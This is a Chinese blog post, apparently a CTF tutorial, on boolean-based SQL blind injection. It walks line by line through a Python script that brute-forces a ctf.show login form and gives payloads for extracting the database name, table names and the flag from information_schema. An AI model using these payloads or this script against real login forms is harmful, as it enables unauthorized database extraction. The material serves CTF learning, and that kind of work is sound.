boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

浅谈SQL盲注(下)


avatar
RootReapers 2026年2月23日 126

前段时间由于过年,浅浅地鸽了几天,出去玩了,这篇文章后会发一个日常文,简单记录一下生活,祝大家新年快乐!

那么衔接上文直接开始吧

admin' and 1=if(substr((select table_name from information_schema.tables where table_schema=database())1,2) like 'adm%',1,0)

在上一篇文章,我们说到了这个语句,并且分析了每个函数的作用

知道了盲注其实就是根据页面的响应情况来"猜"字符


但是一个数据库从数据库名开始,然后是表名,字段名,值

假设大部分是字母z,中间混个y

数据库名:zzzzzzzz

表名:zzzzzz

字段名:zzzzzzzzzz

值:flag{zzzzzzzzzzzzzzzzyzyzyz}


这样的话,手工注入,注出来了,键盘也敲烂了


因此要学会写脚本,让程序代替我们去完成这项机械又枯燥的任务


至于为什么不用ai,SQL盲注千变万化,线上赛大部分可以ai,但是线下呢?线下妥妥断网,没有ai就炸了?存的盲注脚本一旦用不上,那线下就是坐牢


所以必须得知道原理,能够自己手搓,不需要很高端(什么异步,多线程之类的),能写出来,跑出flag,就是好的脚本,一开始别对自己要求那么高

import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
    i+=1
    for mid in dict:
        payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"

        # f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
        # f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
        data = {
            "username": payload,
            "password": 123
        }
        #print(data)
        r = requests.post(url, data)
        if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
            flag+=mid
            print(flag)
            break
            if mid=='}':
                print("盲注结束")
                print(f"flag为{flag}")

这是我写的盲注脚本

其实盲注并没有想象的那么难

import requests

导入requests库,这个python第三方库的作用是能够向指定url发起请求并且接收响应,有它才能向题目发起请求


flag=“”

一个空的flag变量,这个待会就知道是什么了


url=题目链接,注意,https要换成http,不然报错(当然也有忽略报错的写法,先不提,一切从简)


dict = “abcdefghijklmnopqrstuvwxyz1234567890{-}”

要猜测的所有字符


i=0:计数,记录当前是第几位


while True

死循环,计算机的死循环有时候并不是坏东西

只要在后面记得写达到某个条件后break结束循环就行(不写问题也不大,注出flag把程序给关了就行)


i+=1

i=i+1的另一种写法

每次执行到这里就会把i+1

说明上一位是注入并且判断为成功,才会来到这里,进行下一位的判断


for mid in dict

从dict遍历每一位,并赋给mid


什么意思?

把dict的值依次赋值给mid这个变量

dict = “abcdefghijklmnopqrstuvwxyz1234567890{-}”

mid=a

mid=b

mid=c

依次类推


然后是payload

payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"

和我们手工写的有一点点区别

substr的第2个参数(从第几位开始取)变成了{i}

这是python的格式化字符串写法


由于我们的payload是字符串,但是字符串里面又要加入变量

因此用到格式化字符串的方式

用法:

name="sudo"
chars=f"hello {name}"
print(chars)#输出hello sudo

第一次执行i+=1

此时i=i+1=0+1=1

i为1

所以payload实际上是

payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE '{mid}%',1,0)#"

mid也一样,第一次进入for循环,mid的值是dict的第一位,也就是a


payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'a%',1,0)#"

payload组装完成,接下来是向目标发送

data = {
            "username": payload,
            "password": 123
        }

为什么这样写?因为这个脚本是我做登录框盲注的时候写的

登录,也就是表单提交,大部分都是POST,参数抓个包就能看到


POST请求的参数在python里面就是这样写的

data={

“参数1”:“值1”,

“参数2”:“值2(如果是纯数字的话,可以不加双引号)”

** }**

username是注入点,所以payload直接放username


** r = requests.post(url, data)**

用一个变量接收响应内容

requests.post:调用requests的post函数,第一个参数是url,第二个参数是要发送的数据


这里再贴一下,不用往上翻了

import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
    i+=1
    for mid in dict:
        payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"

        # f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
        # f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
        data = {
            "username": payload,
            "password": 123
        }
        #print(data)
        r = requests.post(url, data)
        if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
            flag+=mid
            print(flag)
            break
            if mid=='}':
                print("盲注结束")
                print(f"flag为{flag}")


然后是if判断,如果’\u5bc6\u7801\u9519\u8bef’这串字符在r.text里面,则进入接下来的处理


什么意思?\u5bc6\u7801\u9519\u8bef这个是题目在条件为真(注入语句成立)时给的响应,在做题时根据题目的不同自行调整就行


r.text是什么?

获取响应的文本形式,也就是平时抓包看到的那个响应包


整个if语句的条件是:

‘\u5bc6\u7801\u9519\u8bef’在不在响应的文本形式里


比如提示:“登陆成功”


那就把\u5bc6\u7801\u9519\u8bef换成登陆成功

如果符合条件,进入if内部


flag+=mid

等价于flag=flag+mid

mid是什么?当前猜测的字母,是字符串

flag是什么,空字符串,最开始就写了

字符串和字符串之间的加号,不是运算,而是拼接作用


也就是说如果猜测正确,题目返回真

那就把当前的mid拼接到flag这个字符串里,作为结果输出

然后break(跳出最近的一层循环(for)),开始下一位


如果没猜对,那就继续循环,mid取第二个,再发请求

payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'b%',1,0)#"

以此类推

payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'c%',1,0)#"

一直到页面返回条件为真的标志

然后break跳出for

让i+1,继续猜下一位

一直猜到最后,flag的最后一位肯定是}

所以在返回真的标志这个前提下,如果此时mid等于}

那么程序结束运行(我这里偷懒没写停止运行,别学嗷)


知道怎么获取flag了,那就从头来一遍

先获取数据库名,改payload就行

import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
    i+=1
    for mid in dict:
        payload = f"admin' and if(substr(database(),{i},1) LIKE '{mid}%',1,0)#"

        # f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
        # f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
        data = {
            "username": payload,
            "password": 123
        }
        #print(data)
        r = requests.post(url, data)
        if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
            flag+=mid
            print(flag)
            break
            if mid=='}':
                print("盲注结束")
                print(f"flag为{flag}")

payload = f"admin' and if(substr(database(),{i},1) LIKE '{mid}%',1,0)#"

payload改成这样


拿到数据库名,然后是表,字段,值,这些都是union注入里学过的

payload = f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),{i},1) LIKE '{mid}%',1,0)#"

记得加group_concat,不然没有结果的

还有记得加括号

(select group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’)


因为源代码里面已经有一个正常查询的select语句了,要在它的内部再进行一次查询,就得加个括号


这是第一种盲注脚本的写法:遍历法


还有一种,二分法

这个…鸽一下,手有甲沟炎,敲键盘有点点小痛,先把这个消化一下吧








评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码